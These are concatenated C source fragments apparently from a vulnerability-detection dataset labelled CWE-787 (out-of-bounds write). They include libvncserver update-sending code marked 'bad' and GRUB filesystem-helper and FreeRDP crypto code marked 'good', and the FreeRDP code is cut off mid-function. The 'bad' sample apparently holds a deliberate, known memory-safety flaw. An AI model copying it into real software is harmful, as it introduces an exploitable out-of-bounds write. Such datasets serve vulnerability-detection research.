sraRgnMakeEmpty(cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; UNLOCK(cl->updateMutex); if (!cl->enableCursorShapeUpdates) { if(cl->cursorX != cl->screen->cursorX || cl->cursorY != cl->screen->cursorY) { rfbRedrawAfterHideCursor(cl,updateRegion); LOCK(cl->screen->cursorMutex); cl->cursorX = cl->screen->cursorX; cl->cursorY = cl->screen->cursorY; UNLOCK(cl->screen->cursorMutex); rfbRedrawAfterHideCursor(cl,updateRegion); } rfbShowCursor(cl); } /* * Now send the update. */ rfbStatRecordMessageSent(cl, rfbFramebufferUpdate, 0, 0); if (cl->preferredEncoding == rfbEncodingCoRRE) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int rectsPerRow, rows; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); rectsPerRow = (w-1)/cl->correMaxWidth+1; rows = (h-1)/cl->correMaxHeight+1; nUpdateRegionRects += rectsPerRow*rows; } sraRgnReleaseIterator(i); i=NULL; } else if (cl->preferredEncoding == rfbEncodingUltra) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ULTRA_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (cl->preferredEncoding == rfbEncodingZlib) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ZLIB_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (cl->preferredEncoding == rfbEncodingTight) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && defined(LIBVNCSERVER_HAVE_LIBPNG) } else if (cl->preferredEncoding == rfbEncodingTightPng) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif } else { nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->type = rfbFramebufferUpdate; if (nUpdateRegionRects != 0xFFFF) { if(cl->screen->maxRectsPerUpdate>0 /* CoRRE splits the screen into smaller squares */ && cl->preferredEncoding != rfbEncodingCoRRE /* Ultra encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingUltra #ifdef LIBVNCSERVER_HAVE_LIBZ /* Zlib encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingZlib #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTight #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTightPng #endif && nUpdateRegionRects>cl->screen->maxRectsPerUpdate) { sraRegion* newUpdateRegion = sraRgnBBox(updateRegion); sraRgnDestroy(updateRegion); updateRegion = newUpdateRegion; nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->nRects = Swap16IfLE((uint16_t)(sraRgnCountRects(updateCopyRegion) + nUpdateRegionRects + !!sendCursorShape + !!sendCursorPos + !!sendKeyboardLedState + !!sendSupportedMessages + !!sendSupportedEncodings + !!sendServerIdentity)); } else { fu->nRects = 0xFFFF; } cl->ublen = sz_rfbFramebufferUpdateMsg; if (sendCursorShape) { cl->cursorWasChanged = FALSE; if (!rfbSendCursorShape(cl)) goto updateFailed; } if (sendCursorPos) { cl->cursorWasMoved = FALSE; if (!rfbSendCursorPos(cl)) goto updateFailed; } if (sendKeyboardLedState) { if (!rfbSendKeyboardLedState(cl)) goto updateFailed; } if (sendSupportedMessages) { if (!rfbSendSupportedMessages(cl)) goto updateFailed; } if (sendSupportedEncodings) { if (!rfbSendSupportedEncodings(cl)) goto updateFailed; } if (sendServerIdentity) { if (!rfbSendServerIdentity(cl)) goto updateFailed; } if (!sraRgnEmpty(updateCopyRegion)) { if (!rfbSendCopyRegion(cl,updateCopyRegion,dx,dy)) goto updateFailed; } for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); switch (cl->preferredEncoding) { case -1: case rfbEncodingRaw: if (!rfbSendRectEncodingRaw(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingRRE: if (!rfbSendRectEncodingRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingCoRRE: if (!rfbSendRectEncodingCoRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingHextile: if (!rfbSendRectEncodingHextile(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingUltra: if (!rfbSendRectEncodingUltra(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: if (!rfbSendRectEncodingZlib(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingZRLE: case rfbEncodingZYWRLE: if (!rfbSendRectEncodingZRLE(cl, x, y, w, h)) goto updateFailed; break; #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && (defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG)) case rfbEncodingTight: if (!rfbSendRectEncodingTight(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: if (!rfbSendRectEncodingTightPng(cl, x, y, w, h)) goto updateFailed; break; #endif #endif } } if (i) { sraRgnReleaseIterator(i); i = NULL; } if ( nUpdateRegionRects == 0xFFFF && !rfbSendLastRectMarker(cl) ) goto updateFailed; if (!rfbSendUpdateBuf(cl)) { updateFailed: result = FALSE; } if (!cl->enableCursorShapeUpdates) { rfbHideCursor(cl); } if(i) sraRgnReleaseIterator(i); sraRgnDestroy(updateRegion); sraRgnDestroy(updateCopyRegion); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * Send the copy region as a string of CopyRect encoded rectangles. * The only slightly tricky thing is that we should send the messages in * the correct order so that an earlier CopyRect will not corrupt the source * of a later one. */ rfbBool rfbSendCopyRegion(rfbClientPtr cl, sraRegionPtr reg, int dx, int dy) { int x, y, w, h; rfbFramebufferUpdateRectHeader rect; rfbCopyRect cr; sraRectangleIterator* i; sraRect rect1; /* printf("copyrect: "); sraRgnPrint(reg); putchar('\n');fflush(stdout); */ i = sraRgnGetReverseIterator(reg,dx>0,dy>0); /* correct for the scale of the screen */ dx = ScaleX(cl->screen, cl->scaledScreen, dx); dy = ScaleX(cl->screen, cl->scaledScreen, dy); while(sraRgnIteratorNext(i,&rect1)) { x = rect1.x1; y = rect1.y1; w = rect1.x2 - x; h = rect1.y2 - y; /* correct for scaling (if necessary) */ rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "copyrect"); rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCopyRect); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; cr.srcX = Swap16IfLE(x - dx); cr.srcY = Swap16IfLE(y - dy); memcpy(&cl->updateBuf[cl->ublen], (char *)&cr, sz_rfbCopyRect); cl->ublen += sz_rfbCopyRect; rfbStatRecordEncodingSent(cl, rfbEncodingCopyRect, sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect, w * h * (cl->scaledScreen->bitsPerPixel / 8)); } sraRgnReleaseIterator(i); return TRUE; } /* * Send a given rectangle in raw encoding (rfbEncodingRaw). */ rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; int nlines; int bytesPerLine = w * (cl->format.bitsPerPixel / 8); char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); /* Flush the buffer to guarantee correct alignment for translateFn(). */ if (cl->ublen > 0) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRaw); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingRaw, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; while (TRUE) { if (nlines > h) nlines = h; (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, fbptr, &cl->updateBuf[cl->ublen], cl->scaledScreen->paddedWidthInBytes, w, nlines); cl->ublen += nlines * bytesPerLine; h -= nlines; if (h == 0) /* rect fitted in buffer, do next one */ return TRUE; /* buffer full - flush partial rect and do another nlines */ if (!rfbSendUpdateBuf(cl)) return FALSE; fbptr += (cl->scaledScreen->paddedWidthInBytes * nlines); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; if (nlines == 0) { rfbErr("rfbSendRectEncodingRaw: send buffer too small for %d " "bytes per line\n", bytesPerLine); rfbCloseClient(cl); return FALSE; } } } /* * Send an empty rectangle with encoding field set to value of * rfbEncodingLastRect to notify client that this is the last * rectangle in framebuffer update ("LastRect" extension of RFB * protocol). */ rfbBool rfbSendLastRectMarker(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingLastRect); rect.r.x = 0; rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingLastRect, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send NewFBSize pseudo-rectangle. This tells the client to change * its framebuffer size. */ rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (cl->PalmVNC==TRUE) rfbLog("Sending rfbEncodingNewFBSize in response to a PalmVNC style framebuffer resize (%dx%d)\n", w, h); else rfbLog("Sending rfbEncodingNewFBSize for resize to (%dx%d)\n", w, h); rect.encoding = Swap32IfLE(rfbEncodingNewFBSize); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingNewFBSize, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send the contents of cl->updateBuf. Returns 1 if successful, -1 if * not (errno should be set). */ rfbBool rfbSendUpdateBuf(rfbClientPtr cl) { if(cl->sock<0) return FALSE; if (rfbWriteExact(cl, cl->updateBuf, cl->ublen) < 0) { rfbLogPerror("rfbSendUpdateBuf: write"); rfbCloseClient(cl); return FALSE; } cl->ublen = 0; return TRUE; } /* * rfbSendSetColourMapEntries sends a SetColourMapEntries message to the * client, using values from the currently installed colormap. */ rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; char *wbuf = buf; rfbSetColourMapEntriesMsg *scme; uint16_t *rgb; rfbColourMap* cm = &cl->screen->colourMap; int i, len; if (nColours > 256) { /* some rare hardware has, e.g., 4096 colors cells: PseudoColor:12 */ wbuf = (char *) malloc(sz_rfbSetColourMapEntriesMsg + nColours * 3 * 2); } scme = (rfbSetColourMapEntriesMsg *)wbuf; rgb = (uint16_t *)(&wbuf[sz_rfbSetColourMapEntriesMsg]); scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(firstColour); scme->nColours = Swap16IfLE(nColours); len = sz_rfbSetColourMapEntriesMsg; for (i = 0; i < nColours; i++) { if(i<(int)cm->count) { if(cm->is16) { rgb[i*3] = Swap16IfLE(cm->data.shorts[i*3]); rgb[i*3+1] = Swap16IfLE(cm->data.shorts[i*3+1]); rgb[i*3+2] = Swap16IfLE(cm->data.shorts[i*3+2]); } else { rgb[i*3] = Swap16IfLE((unsigned short)cm->data.bytes[i*3]); rgb[i*3+1] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+1]); rgb[i*3+2] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+2]); } } } len += nColours * 3 * 2; LOCK(cl->sendMutex); if (rfbWriteExact(cl, wbuf, len) < 0) { rfbLogPerror("rfbSendSetColourMapEntries: write"); rfbCloseClient(cl); if (wbuf != buf) free(wbuf); UNLOCK(cl->sendMutex); return FALSE; } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbSetColourMapEntries, len, len); if (wbuf != buf) free(wbuf); return TRUE; } /* * rfbSendBell sends a Bell message to all the clients. */ void rfbSendBell(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i; rfbClientPtr cl; rfbBellMsg b; i = rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(i))) { b.type = rfbBell; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&b, sz_rfbBellMsg) < 0) { rfbLogPerror("rfbSendBell: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); } rfbStatRecordMessageSent(cl, rfbBell, sz_rfbBellMsg, sz_rfbBellMsg); rfbReleaseClientIterator(i); } /* * rfbSendServerCutText sends a ServerCutText message to all the clients. */ void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len) { rfbClientPtr cl; rfbServerCutTextMsg sct; rfbClientIteratorPtr iterator; iterator = rfbGetClientIterator(rfbScreen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) { sct.type = rfbServerCutText; sct.length = Swap32IfLE(len); LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sct, sz_rfbServerCutTextMsg) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); continue; } if (rfbWriteExact(cl, str, len) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbServerCutText, sz_rfbServerCutTextMsg+len, sz_rfbServerCutTextMsg+len); } rfbReleaseClientIterator(iterator); } /***************************************************************************** * * UDP can be used for keyboard and pointer events when the underlying * network is highly reliable. This is really here to support ORL's * videotile, whose TCP implementation doesn't like sending lots of small * packets (such as 100s of pen readings per second!). */ static unsigned char ptrAcceleration = 50; void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen, int sock) { if (write(sock, (char*) &ptrAcceleration, 1) < 0) { rfbLogPerror("rfbNewUDPConnection: write"); } } /* * Because UDP is a message based service, we can't read the first byte and * then the rest of the packet separately like we do with TCP. We will always * get a whole packet delivered in one go, so we ask read() for the maximum * number of bytes we can possibly get. */ void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen) { int n; rfbClientPtr cl=rfbScreen->udpClient; rfbClientToServerMsg msg; if((!cl) || cl->onHold) return; if ((n = read(rfbScreen->udpSock, (char *)&msg, sizeof(msg))) <= 0) { if (n < 0) { rfbLogPerror("rfbProcessUDPInput: read"); } rfbDisconnectUDPSock(rfbScreen); return; } switch (msg.type) { case rfbKeyEvent: if (n != sz_rfbKeyEventMsg) { rfbErr("rfbProcessUDPInput: key event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); break; case rfbPointerEvent: if (n != sz_rfbPointerEventMsg) { rfbErr("rfbProcessUDPInput: ptr event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->ptrAddEvent(msg.pe.buttonMask, Swap16IfLE(msg.pe.x), Swap16IfLE(msg.pe.y), cl); break; default: rfbErr("rfbProcessUDPInput: unknown message type %d\n", msg.type); rfbDisconnectUDPSock(rfbScreen); } }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_523_0
crossvul-cpp_data_good_3411_3
/* fshelp.c -- Filesystem helper functions */ /* * GRUB -- GRand Unified Bootloader * Copyright (C) 2004,2005,2006,2007,2008 Free Software Foundation, Inc. * * GRUB is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GRUB is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GRUB. If not, see <http://www.gnu.org/licenses/>. */ #include <grub/err.h> #include <grub/mm.h> #include <grub/misc.h> #include <grub/disk.h> #include <grub/fshelp.h> GRUB_EXPORT(grub_fshelp_view); GRUB_EXPORT(grub_fshelp_find_file); GRUB_EXPORT(grub_fshelp_log2blksize); GRUB_EXPORT(grub_fshelp_read_file); int grub_fshelp_view = 0; struct grub_fshelp_find_file_closure { grub_fshelp_node_t rootnode; int (*iterate_dir) (grub_fshelp_node_t dir, int (*hook) (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure), void *closure); void *closure; char *(*read_symlink) (grub_fshelp_node_t node); int symlinknest; enum grub_fshelp_filetype foundtype; grub_fshelp_node_t currroot; }; static void free_node (grub_fshelp_node_t node, struct grub_fshelp_find_file_closure *c) { if (node != c->rootnode && node != c->currroot) grub_free (node); } struct find_file_closure { char *name; enum grub_fshelp_filetype *type; grub_fshelp_node_t *oldnode; grub_fshelp_node_t *currnode; }; static int iterate (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure) { struct find_file_closure *c = closure; if (filetype == GRUB_FSHELP_UNKNOWN || (grub_strcmp (c->name, filename) && (! (filetype & GRUB_FSHELP_CASE_INSENSITIVE) || grub_strncasecmp (c->name, filename, GRUB_LONG_MAX)))) { grub_free (node); return 0; } /* The node is found, stop iterating over the nodes. */ *(c->type) = filetype & ~GRUB_FSHELP_CASE_INSENSITIVE; *(c->oldnode) = *(c->currnode); *(c->currnode) = node; return 1; } static grub_err_t find_file (const char *currpath, grub_fshelp_node_t currroot, grub_fshelp_node_t *currfound, struct grub_fshelp_find_file_closure *c) { #ifndef _MSC_VER char fpath[grub_strlen (currpath) + 1]; #else char *fpath = grub_malloc (grub_strlen (currpath) + 1); #endif char *name = fpath; char *next; enum grub_fshelp_filetype type = GRUB_FSHELP_DIR; grub_fshelp_node_t currnode = currroot; grub_fshelp_node_t oldnode = currroot; c->currroot = currroot; grub_strncpy (fpath, currpath, grub_strlen (currpath) + 1); /* Remove all leading slashes. */ while (*name == '/') name++; if (! *name) { *currfound = currnode; return 0; } for (;;) { int found; struct find_file_closure cc; /* Extract the actual part from the pathname. */ next = grub_strchr (name, '/'); if (next) { /* Remove all leading slashes. */ while (*next == '/') *(next++) = '\0'; } /* At this point it is expected that the current node is a directory, check if this is true. */ if (type != GRUB_FSHELP_DIR) { free_node (currnode, c); return grub_error (GRUB_ERR_BAD_FILE_TYPE, "not a directory"); } cc.name = name; cc.type = &type; cc.oldnode = &oldnode; cc.currnode = &currnode; /* Iterate over the directory. */ found = c->iterate_dir (currnode, iterate, &cc); if (! found) { if (grub_errno) return grub_errno; break; } /* Read in the symlink and follow it. */ if (type == GRUB_FSHELP_SYMLINK) { char *symlink; /* Test if the symlink does not loop. */ if (++(c->symlinknest) == 8) { free_node (currnode, c); free_node (oldnode, c); return grub_error (GRUB_ERR_SYMLINK_LOOP, "too deep nesting of symlinks"); } symlink = c->read_symlink (currnode); free_node (currnode, c); if (!symlink) { free_node (oldnode, c); return grub_errno; } /* The symlink is an absolute path, go back to the root inode. */ if (symlink[0] == '/') { free_node (oldnode, c); oldnode = c->rootnode; } /* Lookup the node the symlink points to. */ find_file (symlink, oldnode, &currnode, c); type = c->foundtype; grub_free (symlink); if (grub_errno) { free_node (oldnode, c); return grub_errno; } } free_node (oldnode, c); /* Found the node! */ if (! next || *next == '\0') { *currfound = currnode; c->foundtype = type; return 0; } name = next; } return grub_error (GRUB_ERR_FILE_NOT_FOUND, "file not found"); } /* Lookup the node PATH. The node ROOTNODE describes the root of the directory tree. The node found is returned in FOUNDNODE, which is either a ROOTNODE or a new malloc'ed node. ITERATE_DIR is used to iterate over all directory entries in the current node. READ_SYMLINK is used to read the symlink if a node is a symlink. EXPECTTYPE is the type node that is expected by the called, an error is generated if the node is not of the expected type. Make sure you use the NESTED_FUNC_ATTR macro for HOOK, this is required because GCC has a nasty bug when using regparm=3. */ grub_err_t grub_fshelp_find_file (const char *path, grub_fshelp_node_t rootnode, grub_fshelp_node_t *foundnode, int (*iterate_dir) (grub_fshelp_node_t dir, int (*hook) (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure), void *closure), void *closure, char *(*read_symlink) (grub_fshelp_node_t node), enum grub_fshelp_filetype expecttype) { grub_err_t err; struct grub_fshelp_find_file_closure c; c.rootnode = rootnode; c.iterate_dir = iterate_dir; c.closure = closure; c.read_symlink = read_symlink; c.symlinknest = 0; c.foundtype = GRUB_FSHELP_DIR; if (!path || path[0] != '/') { grub_error (GRUB_ERR_BAD_FILENAME, "bad filename"); return grub_errno; } err = find_file (path, rootnode, foundnode, &c); if (err) return err; /* Check if the node that was found was of the expected type. */ if (expecttype == GRUB_FSHELP_REG && c.foundtype != expecttype) return grub_error (GRUB_ERR_BAD_FILE_TYPE, "not a regular file"); else if (expecttype == GRUB_FSHELP_DIR && c.foundtype != expecttype) return grub_error (GRUB_ERR_BAD_FILE_TYPE, "not a directory"); return 0; } unsigned long long grub_hack_lastoff = 0; /* Read LEN bytes from the file NODE on disk DISK into the buffer BUF, beginning with the block POS. READ_HOOK should be set before reading a block from the file. GET_BLOCK is used to translate file blocks to disk blocks. The file is FILESIZE bytes big and the blocks have a size of LOG2BLOCKSIZE (in log2). */ grub_ssize_t grub_fshelp_read_file (grub_disk_t disk, grub_fshelp_node_t node, void (*read_hook) (grub_disk_addr_t sector, unsigned offset, unsigned length, void *closure), void *closure, int flags, grub_off_t pos, grub_size_t len, char *buf, grub_disk_addr_t (*get_block) (grub_fshelp_node_t node, grub_disk_addr_t block), grub_off_t filesize, int log2blocksize) { grub_disk_addr_t i, blockcnt; int blocksize = 1 << (log2blocksize + GRUB_DISK_SECTOR_BITS); /* Adjust LEN so it we can't read past the end of the file. */ if (pos + len > filesize) len = filesize - pos; if (len < 1 || len == 0xffffffff) { return -1; } blockcnt = ((len + pos) + blocksize - 1) >> (log2blocksize + GRUB_DISK_SECTOR_BITS); for (i = pos >> (log2blocksize + GRUB_DISK_SECTOR_BITS); i < blockcnt; i++) { grub_disk_addr_t blknr; int blockoff = pos & (blocksize - 1); int blockend = blocksize; int skipfirst = 0; blknr = get_block (node, i); if (grub_errno) return -1; blknr = blknr << log2blocksize; /* Last block. */ if (i == blockcnt - 1) { blockend = (len + pos) & (blocksize - 1); /* The last portion is exactly blocksize. */ if (! blockend) blockend = blocksize; } /* First block. */ if (i == (pos >> (log2blocksize + GRUB_DISK_SECTOR_BITS))) { skipfirst = blockoff; blockend -= skipfirst; } /* If the block number is 0 this block is not stored on disk but is zero filled instead. */ if (blknr) { disk->read_hook = read_hook; disk->closure = closure; //printf ("blknr: %d\n", blknr); grub_hack_lastoff = blknr * 512; grub_disk_read_ex (disk, blknr, skipfirst, blockend, buf, flags); disk->read_hook = 0; if (grub_errno) return -1; } else if (buf) grub_memset (buf, 0, blockend); if (buf) buf += blocksize - skipfirst; } return len; } unsigned int grub_fshelp_log2blksize (unsigned int blksize, unsigned int *pow) { int mod; *pow = 0; while (blksize > 1) { mod = blksize - ((blksize >> 1) << 1); blksize >>= 1; /* Check if it really is a power of two. */ if (mod) return grub_error (GRUB_ERR_BAD_NUMBER, "the blocksize is not a power of two"); (*pow)++; } return GRUB_ERR_NONE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3411_3
crossvul-cpp_data_good_4028_0
/** * FreeRDP: A Remote Desktop Protocol Implementation * Cryptographic Abstraction Layer * * Copyright 2011-2012 Marc-Andre Moreau <marcandre.moreau@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <winpr/crt.h> #include <winpr/crypto.h> #include <freerdp/log.h> #include <freerdp/crypto/crypto.h> #define TAG FREERDP_TAG("crypto") CryptoCert crypto_cert_read(BYTE* data, UINT32 length) { CryptoCert cert = malloc(sizeof(*cert)); if (!cert) return NULL; /* this will move the data pointer but we don't care, we don't use it again */ cert->px509 = d2i_X509(NULL, (D2I_X509_CONST BYTE**)&data, length); return cert; } void crypto_cert_free(CryptoCert cert) { if (cert == NULL) return; X509_free(cert->px509); free(cert); } BOOL crypto_cert_get_public_key(CryptoCert cert, BYTE** PublicKey, DWORD* PublicKeyLength) { BYTE* ptr; int length; BOOL status = TRUE; EVP_PKEY* pkey = NULL; pkey = X509_get_pubkey(cert->px509); if (!pkey) { WLog_ERR(TAG, "X509_get_pubkey() failed"); status = FALSE; goto exit; } length = i2d_PublicKey(pkey, NULL); if (length < 1) { WLog_ERR(TAG, "i2d_PublicKey() failed"); status = FALSE; goto exit; } *PublicKeyLength = (DWORD)length; *PublicKey = (BYTE*)malloc(length); ptr = (BYTE*)(*PublicKey); if (!ptr) { status = FALSE; goto exit; } i2d_PublicKey(pkey, &ptr); exit: if (pkey) EVP_PKEY_free(pkey); return status; } static int crypto_rsa_common(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* exponent, int exponent_size, BYTE* output) { BN_CTX* ctx = NULL; int output_length = -1; BYTE* input_reverse = NULL; BYTE* modulus_reverse = NULL; BYTE* exponent_reverse = NULL; BIGNUM* mod = NULL; BIGNUM* exp = NULL; BIGNUM* x = NULL; BIGNUM* y = NULL; size_t bufferSize = 2 * key_length + exponent_size; if (!input || (length < 0) || (exponent_size < 0) || !modulus || !exponent || !output) return -1; if (length > bufferSize) bufferSize = length; input_reverse = (BYTE*)calloc(bufferSize, 1); if (!input_reverse) return -1; modulus_reverse = input_reverse + key_length; exponent_reverse = modulus_reverse + key_length; memcpy(modulus_reverse, modulus, key_length); crypto_reverse(modulus_reverse, key_length); memcpy(exponent_reverse, exponent, exponent_size); crypto_reverse(exponent_reverse, exponent_size); memcpy(input_reverse, input, length); crypto_reverse(input_reverse, length); if (!(ctx = BN_CTX_new())) goto fail_bn_ctx; if (!(mod = BN_new())) goto fail_bn_mod; if (!(exp = BN_new())) goto 